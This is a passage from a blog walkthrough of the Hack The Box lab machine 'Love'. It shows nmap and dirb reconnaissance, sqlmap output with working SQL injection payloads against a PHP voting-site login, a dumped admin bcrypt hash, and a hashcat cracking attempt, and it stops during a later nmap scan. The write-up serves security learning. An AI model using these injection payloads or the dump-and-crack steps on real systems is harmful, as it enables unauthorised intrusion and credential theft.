Name | Love | |
Difficulty | Easy | |
Release Date | 2021-05-01 | |
Retired Date | <don’t know> | |
IP Address | 10.10.10.239 | |
OS | Windows | |
Points | 20 |
The WalkThrough is protected with the Administrator user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.
introduction
This was my first Windows Box/Challenge so, in some way, it was actually a hard box for me. Because of that, I spent too much time on my initial foothold and then actually getting a root
shell (or in the Windows world, NT AUTHORITY/SYSTEM
) where I could do everything with the box itself. The lack of experience with the Windows world made me want to understand it more and its fragilities, along with the tools to actually overcome what’s in front of me.
In this post, I’ll try to describe my thought process and point out where I know I’ve failed.
Any suggestions are welcomed for things I could have done better, things I missed, or things I utterly failed and didn’t see because I’m a n00b. π
foothold
nmap
So, for my initial foothold, I started like a always do, just nmap
the target:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-30 16:56 WEST
Nmap scan report for love.htb (10.10.10.239)
Host is up (0.049s latency).
Not shown: 65516 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=5/30%Time=60B3B5CA%P=x86_64-redhat-linux-gnu%
SF:r(NULL,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.234'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProg
SF:Neg,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.234'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 222.69 seconds
When I first saw this, and used to Linux boxes as I am, I just thought: “Shit, I’m screwed π¨”.
dirb
Nevertheless, I kept going and decided to look around to see what those Apache httpd
servers were running.
So, on port 80 I had a voting system website displaying just a login page, not much to see here. On port 443, I had even less since the damn site just refused to open with a 403 error. We’re starting well now π’.
I could see from the nmap
report that I couldn’t access mysqld (or in this case, MariaDB), so I decided to check the next port available that was 5000.
Still no damn luck. Ok, since nothing looks obvious here, I decided to shoot a dirb
instance and search the Voting System site for clues on where to go. While dirb
was running (I was naΓ―ve enough to forget to add -i
to dirb command so it found some dups and it took over an hour to complete), I began to research all the other ports in hope I was missing something obvious due to inexperience. I even tried listing network shares with smbclient -L \\\\love.htb
and with smbmap
but to no avail. Nothing really popped out as obvious for an Easy box. So the issue had to be on the websites being served.
Finally, dirb
ended it scan and this were the results:
$ dirb http://love.htb /usr/share/dirb/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 29 23:41:50 2021
URL_BASE: http://love.htb/
WORDLIST_FILES: /usr/share/dirb/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://love.htb/ ----
==> DIRECTORY: http://love.htb/ADMIN/
==> DIRECTORY: http://love.htb/Admin/
==> DIRECTORY: http://love.htb/Images/
==> DIRECTORY: http://love.htb/admin/
+ http://love.htb/aux (CODE:403|SIZE:298)
+ http://love.htb/cgi-bin/ (CODE:403|SIZE:298)
+ http://love.htb/com1 (CODE:403|SIZE:298)
+ http://love.htb/com2 (CODE:403|SIZE:298)
+ http://love.htb/com3 (CODE:403|SIZE:298)
+ http://love.htb/com4 (CODE:403|SIZE:298)
+ http://love.htb/con (CODE:403|SIZE:298)
==> DIRECTORY: http://love.htb/dist/
--> Testing: http://love.htb/earthlink
+ http://love.htb/examples (CODE:503|SIZE:398)
==> DIRECTORY: http://love.htb/images/
==> DIRECTORY: http://love.htb/includes/
+ http://love.htb/licenses (CODE:403|SIZE:417)
+ http://love.htb/lpt1 (CODE:403|SIZE:298)
+ http://love.htb/lpt2 (CODE:403|SIZE:298)
+ http://love.htb/nul (CODE:403|SIZE:298)
+ http://love.htb/phpmyadmin (CODE:403|SIZE:298)
==> DIRECTORY: http://love.htb/plugins/
+ http://love.htb/prn (CODE:403|SIZE:298)
+ http://love.htb/server-info (CODE:403|SIZE:417)
+ http://love.htb/server-status (CODE:403|SIZE:417)
==> DIRECTORY: http://love.htb/tcpdf/
+ http://love.htb/webalizer (CODE:403|SIZE:298)
---- Entering directory: http://love.htb/ADMIN/ ----
+ http://love.htb/ADMIN/aux (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/com1 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/com2 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/com3 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/com4 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/con (CODE:403|SIZE:298)
==> DIRECTORY: http://love.htb/ADMIN/includes/
+ http://love.htb/ADMIN/lpt1 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/lpt2 (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/nul (CODE:403|SIZE:298)
+ http://love.htb/ADMIN/prn (CODE:403|SIZE:298)
---- Entering directory: http://love.htb/Admin/ ----
+ http://love.htb/Admin/aux (CODE:403|SIZE:298)
+ http://love.htb/Admin/com1 (CODE:403|SIZE:298)
+ http://love.htb/Admin/com2 (CODE:403|SIZE:298)
+ http://love.htb/Admin/com3 (CODE:403|SIZE:298)
+ http://love.htb/Admin/com4 (CODE:403|SIZE:298)
+ http://love.htb/Admin/con (CODE:403|SIZE:298)
==> DIRECTORY: http://love.htb/Admin/includes/
+ http://love.htb/Admin/lpt1 (CODE:403|SIZE:298)
+ http://love.htb/Admin/lpt2 (CODE:403|SIZE:298)
+ http://love.htb/Admin/nul (CODE:403|SIZE:298)
+ http://love.htb/Admin/prn (CODE:403|SIZE:298)
---- Entering directory: http://love.htb/Images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/admin/ ----
+ http://love.htb/admin/aux (CODE:403|SIZE:298)
+ http://love.htb/admin/com1 (CODE:403|SIZE:298)
+ http://love.htb/admin/com2 (CODE:403|SIZE:298)
+ http://love.htb/admin/com3 (CODE:403|SIZE:298)
+ http://love.htb/admin/com4 (CODE:403|SIZE:298)
+ http://love.htb/admin/con (CODE:403|SIZE:298)
==> DIRECTORY: http://love.htb/admin/includes/
+ http://love.htb/admin/lpt1 (CODE:403|SIZE:298)
+ http://love.htb/admin/lpt2 (CODE:403|SIZE:298)
+ http://love.htb/admin/nul (CODE:403|SIZE:298)
+ http://love.htb/admin/prn (CODE:403|SIZE:298)
---- Entering directory: http://love.htb/dist/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/tcpdf/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/ADMIN/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/Admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://love.htb/admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun May 30 00:56:13 2021
DOWNLOADED: 81832 - FOUND: 47
OK, we do see some interesting stuff in there, like the /admin/
path. And the other directories are listable, so it’s easier to take a look of what’s inside. Opening up the Admin site just shows a login equal to the Voting System site, and I figured they must be the same or at least connected somehow. All the other directories had just plugins with javascript and css files to the site itself. I did find some .php files but they would all be executed and so, couldn’t see any code besides some errors that would eventually popup due to not having a session with the site.
sqlmap
It looked like analyzing this website’s code wasn’t the way in. Next step was to check for an SQLi on the login form. When one tries to login, the browsers sends a POST request to /login.php
with the POST parameters as follows: voter=&password=&login=
. So, I fired up my good old friend sqlmap to check if there’s something there for us to peek into π.
$ sqlmap.py -u "http://love.htb/login.php" --data="voter=asd&password=asd&login=" --level=5 --risk=3 --dbms=mysql --dump
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:00:33 /2021-05-30/
[01:00:34] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[01:00:34] [INFO] testing connection to the target URL
got a 302 redirect to 'http://love.htb:80/index.php'. Do you want to follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=rqsvbua3888...7fc3e4m9qb'). Do you want to use those [Y/n] y
[01:00:56] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:00:57] [INFO] testing if the target URL content is stable
[01:00:57] [WARNING] POST parameter 'voter' does not appear to be dynamic
[01:00:57] [WARNING] heuristic (basic) test shows that POST parameter 'voter' might not be injectable
[01:00:57] [INFO] testing for SQL injection on POST parameter 'voter'
[01:00:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:01:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[01:01:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[01:01:37] [INFO] POST parameter 'voter' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable (with --string="Cannot find voter with the ID")
[01:01:37] [INFO] testing 'Generic inline queries'
[01:01:37] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:01:37] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:01:38] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:01:38] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:01:38] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[01:01:38] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[01:01:38] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:01:39] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:01:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:01:39] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:01:39] [INFO] POST parameter 'voter' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[01:01:39] [INFO] testing 'MySQL inline queries'
[01:01:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:01:40] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[01:01:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:01:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:01:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:01:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:01:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:01:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:01:46] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[01:01:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[01:01:51] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[01:02:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[01:03:03] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[01:04:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[01:04:24] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[01:04:30] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[01:05:12] [INFO] POST parameter 'voter' appears to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[01:05:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:05:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:05:19] [INFO] target URL appears to be UNION injectable with 6 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[01:05:38] [INFO] testing 'Generic UNION query (33) - 21 to 40 columns'
[01:05:42] [INFO] testing 'Generic UNION query (33) - 41 to 60 columns'
[01:05:47] [INFO] testing 'Generic UNION query (33) - 61 to 80 columns'
[01:05:53] [INFO] testing 'Generic UNION query (33) - 81 to 100 columns'
[01:05:58] [INFO] testing 'MySQL UNION query (33) - 1 to 20 columns'
[01:06:10] [INFO] testing 'MySQL UNION query (33) - 21 to 40 columns'
[01:06:14] [INFO] testing 'MySQL UNION query (33) - 41 to 60 columns'
[01:06:20] [INFO] testing 'MySQL UNION query (33) - 61 to 80 columns'
[01:06:25] [INFO] testing 'MySQL UNION query (33) - 81 to 100 columns'
[01:06:31] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'voter' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 847 HTTP(s) requests:
---
Parameter: voter (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: voter=asd' OR NOT 5721=5721-- TTmL&password=asd&login=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: voter=asd' OR (SELECT 1683 FROM(SELECT COUNT(*),CONCAT(0x7162787071,(SELECT (ELT(1683=1683,1))),0x716a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- monW&password=asd&login=
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: voter=asd' AND 7758=BENCHMARK(5000000,MD5(0x514e4577))-- NAHm&password=asd&login=
---
[01:08:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 7.3.27, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:08:49] [INFO] fetched data logged to text files under '/home/r3pek/.sqlmap/output/love.htb'
[*] ending @ 01:08:49 /2021-05-30/
And we scored! π₯³ The website is vulnerable to an SQL Injection attack. Let’s just dump the whole thing and check for passwords for a way to get into this!
$ ./sqlmap.py -u "http://love.htb/login.php" --data="voter=asd&password=asd&login=" --level=5 --risk=3 --dbms=mysql --dump
___
__H__
___ ___[.]_____ ___ ___ {1.5.5.11#dev}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:46:40 /2021-05-30/
[17:46:40] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[17:46:40] [INFO] testing connection to the target URL
got a 302 redirect to 'http://love.htb:80/index.php'. Do you want to follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=dhojn76k5g0...bbhef5dc19'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: voter (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: voter=asd' OR NOT 6786=6786-- rtzf&password=asd&login=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: voter=asd' OR (SELECT 1161 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(SELECT (ELT(1161=1161,1))),0x716b6b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bYWQ&password=asd&login=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: voter=asd' AND (SELECT 2597 FROM (SELECT(SLEEP(5)))JNPa)-- EZqV&password=asd&login=
---
[17:46:44] [INFO] testing MySQL
[17:46:44] [INFO] confirming MySQL
[17:46:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.27, PHP, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[17:46:45] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[17:46:45] [INFO] fetching current database
[17:46:45] [INFO] retrieved: 'votesystem'
[17:46:45] [INFO] fetching tables for database: 'votesystem'
[17:46:45] [INFO] retrieved: 'admin'
[17:46:46] [INFO] retrieved: 'candidates'
[17:46:46] [INFO] retrieved: 'positions'
[17:46:46] [INFO] retrieved: 'voters'
[17:46:46] [INFO] retrieved: 'votes'
[17:46:46] [INFO] fetching columns for table 'voters' in database 'votesystem'
[17:46:47] [INFO] retrieved: 'id'
[17:46:47] [INFO] retrieved: 'int(11)'
[17:46:47] [INFO] retrieved: 'voters_id'
[17:46:47] [INFO] retrieved: 'varchar(15)'
[17:46:48] [INFO] retrieved: 'password'
[17:46:48] [INFO] retrieved: 'varchar(60)'
[17:46:48] [INFO] retrieved: 'firstname'
[17:46:48] [INFO] retrieved: 'varchar(30)'
[17:46:48] [INFO] retrieved: 'lastname'
[17:46:49] [INFO] retrieved: 'varchar(30)'
[17:46:49] [INFO] retrieved: 'photo'
[17:46:49] [INFO] retrieved: 'varchar(150)'
[17:46:49] [INFO] fetching entries for table 'voters' in database 'votesystem'
[17:45:50] [INFO] resumed: 0
Database: votesystem
Table: voters
[2 entries]
+----+-----------------+-------------+----------+--------------------------------------------------------------+-----------+
| id | voters_id | photo | lastname | password | firstname |
+----+-----------------+-------------+----------+--------------------------------------------------------------+-----------+
+----+-----------------+-------------+----------+--------------------------------------------------------------+-----------+
[17:46:52] [INFO] table 'votesystem.voters' dumped to CSV file '/home/r3pek/.sqlmap/output/love.htb/dump/votesystem/voters.csv'
[17:46:52] [INFO] fetching columns for table 'admin' in database 'votesystem'
[17:46:53] [INFO] retrieved: 'id'
[17:46:53] [INFO] retrieved: 'int(11)'
[17:46:53] [INFO] retrieved: 'username'
[17:46:53] [INFO] retrieved: 'varchar(50)'
[17:46:54] [INFO] retrieved: 'password'
[17:46:54] [INFO] retrieved: 'varchar(60)'
[17:46:54] [INFO] retrieved: 'firstname'
[17:46:54] [INFO] retrieved: 'varchar(50)'
[17:46:54] [INFO] retrieved: 'lastname'
[17:46:55] [INFO] retrieved: 'varchar(50)'
[17:46:55] [INFO] retrieved: 'photo'
[17:46:55] [INFO] retrieved: 'varchar(150)'
[17:46:55] [INFO] retrieved: 'created_on'
[17:46:56] [INFO] retrieved: 'date'
[17:46:56] [INFO] fetching entries for table 'admin' in database 'votesystem'
[17:46:56] [INFO] retrieved: '2018-04-02'
[17:46:57] [INFO] retrieved: 'Neovic'
[17:46:57] [INFO] retrieved: '1'
[17:46:57] [INFO] retrieved: 'Devierte'
[17:46:58] [INFO] retrieved: '$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC'
[17:46:58] [INFO] retrieved: 'facebook-profile-image.jpeg'
[17:46:58] [INFO] retrieved: 'admin'
Database: votesystem
Table: admin
[1 entry]
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| id | photo | lastname | password | username | firstname | created_on |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| 1 | facebook-profile-image.jpeg | Devierte | $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC | admin | Neovic | 2018-04-02 |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
[17:46:58] [INFO] table 'votesystem.admin' dumped to CSV file '/home/r3pek/.sqlmap/output/love.htb/dump/votesystem/admin.csv'
[17:46:58] [INFO] fetching columns for table 'votes' in database 'votesystem'
[17:46:58] [INFO] retrieved: 'id'
[17:46:59] [INFO] retrieved: 'int(11)'
[17:46:59] [INFO] retrieved: 'voters_id'
[17:46:59] [INFO] retrieved: 'int(11)'
[17:46:59] [INFO] retrieved: 'candidate_id'
[17:47:00] [INFO] retrieved: 'int(11)'
[17:47:00] [INFO] retrieved: 'position_id'
[17:47:00] [INFO] retrieved: 'int(11)'
[17:47:00] [INFO] fetching entries for table 'votes' in database 'votesystem'
[17:47:00] [INFO] fetching number of entries for table 'votes' in database 'votesystem'
[17:47:00] [INFO] resumed: 0
[17:47:00] [WARNING] table 'votes' in database 'votesystem' appears to be empty
Database: votesystem
Table: votes
[0 entries]
+----+-----------+-------------+--------------+
| id | voters_id | position_id | candidate_id |
+----+-----------+-------------+--------------+
+----+-----------+-------------+--------------+
[17:47:00] [INFO] table 'votesystem.votes' dumped to CSV file '/home/r3pek/.sqlmap/output/love.htb/dump/votesystem/votes.csv'
[17:47:00] [INFO] fetching columns for table 'positions' in database 'votesystem'
[17:47:01] [INFO] retrieved: 'id'
[17:47:01] [INFO] retrieved: 'int(11)'
[17:47:01] [INFO] retrieved: 'description'
[17:47:02] [INFO] retrieved: 'varchar(50)'
[17:47:02] [INFO] retrieved: 'max_vote'
[17:47:02] [INFO] retrieved: 'int(11)'
[17:47:02] [INFO] retrieved: 'priority'
[17:47:03] [INFO] retrieved: 'int(11)'
[17:47:03] [INFO] fetching entries for table 'positions' in database 'votesystem'
[17:47:03] [INFO] resumed: 0
Database: votesystem
Table: positions
[1 entry]
+----+----------+----------+-------------+
| id | max_vote | priority | description |
+----+----------+----------+-------------+
+----+----------+----------+-------------+
[17:47:04] [INFO] table 'votesystem.positions' dumped to CSV file '/home/r3pek/.sqlmap/output/love.htb/dump/votesystem/positions.csv'
[17:47:04] [INFO] fetching columns for table 'candidates' in database 'votesystem'
[17:47:04] [INFO] retrieved: 'id'
[17:47:04] [INFO] retrieved: 'int(11)'
[17:47:05] [INFO] retrieved: 'position_id'
[17:47:05] [INFO] retrieved: 'int(11)'
[17:47:05] [INFO] retrieved: 'firstname'
[17:47:05] [INFO] retrieved: 'varchar(30)'
[17:47:06] [INFO] retrieved: 'lastname'
[17:47:06] [INFO] retrieved: 'varchar(30)'
[17:47:06] [INFO] retrieved: 'photo'
[17:47:06] [INFO] retrieved: 'varchar(150)'
[17:47:07] [INFO] retrieved: 'platform'
[17:47:07] [INFO] retrieved: 'text'
[17:47:07] [INFO] fetching entries for table 'candidates' in database 'votesystem'
[17:47:07] [INFO] resumed: 0
Database: votesystem
Table: candidates
[5 entries]
+----+-------------+-----------------------+----------+-------------+-----------+
| id | position_id | photo | lastname | platform | firstname |
+----+-------------+-----------------------+----------+-------------+-----------+
+----+-------------+-----------------------+----------+-------------+-----------+
[17:47:14] [INFO] table 'votesystem.candidates' dumped to CSV file '/home/r3pek/.sqlmap/output/love.htb/dump/votesystem/candidates.csv'
[17:47:14] [INFO] fetched data logged to text files under '/home/r3pek/.sqlmap/output/love.htb'
[*] ending @ 17:47:14 /2021-05-30/
hashcat
YES! We got a password for the user admin
. This looks promising. Let’s just fire up hashcat
and see if we can crack really fast.
$ hashcat -m 3200 '$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC' ../../../rockyou.txt
hashcat (v6.2.1) starting...
clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
Successfully initialized NVIDIA CUDA library.
Failed to initialize NVIDIA RTC library.
* Device #1: CUDA SDK Toolkit installation NOT detected or incorrectly installed.
CUDA SDK Toolkit installation required for proper device support and utilization
Falling back to OpenCL Runtime
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 3.0 CUDA 11.3.116) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: NVIDIA GeForce GTX 970, 2816/4039 MB (1009 MB allocatable), 13MCU
OpenCL API (OpenCL 2.0 pocl 1.7-pre, RelWithDebInfo, LLVM 12.0.0, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
====================================================================================================================================
* Device #2: pthread-Intel(R) Core(TM) i7-3820 CPU @ 3.60GHz, skipped
OpenCL API (OpenCL 1.1 Mesa 21.1.1) - Platform #3 [Mesa]
========================================================
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 24 MB
Dictionary cache hit:
* Filename..: ../../../rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQx...utFjsC
Time.Started.....: Sun May 30 17:54:08 2021 (7 secs)
Time.Estimated...: Mon May 31 08:30:59 2021 (14 hours, 36 mins)
Guess.Base.......: File (../../../rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 273 H/s (4.04ms) @ Accel:2 Loops:4 Thr:11 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1716/14344385 (0.01%)
Rejected.........: 0/1716 (0.00%)
Restore.Point....: 1716/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1020-1024
Candidates.#1....: america1 -> virgo
Hardware.Mon.#1..: Temp: 64c Fan: 34% Util: 99% Core:1227MHz Mem:3505MHz Bus:8
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Hummm, this will take a while. 14h?! It’s starting to smell this isn’t the right path to do it. I must be missing something really obvious.
circle back to nmap
At this point, I left hashcat
running and started looking for more clues about the services that nmap
discovered. Having found nothing worthwhile, at least to my eyes, I looked into the HTB Forum thread about the Love box. Right now I’m desperate because I can’t have a grasp of what to do with an Easy box.
On the forum thread, people talk about a beta domain and to not over think stuff, to focus on what the tools give me. Someone even mention to let nmap
be agressive. So I decided to do just that, let’s run nmap
in agressive mode.
$ nmap -A 10.10.10.239
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-30 18:10 WEST
Nmap scan report for love.htb (10.10.10.239)
Host is up (0.049s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
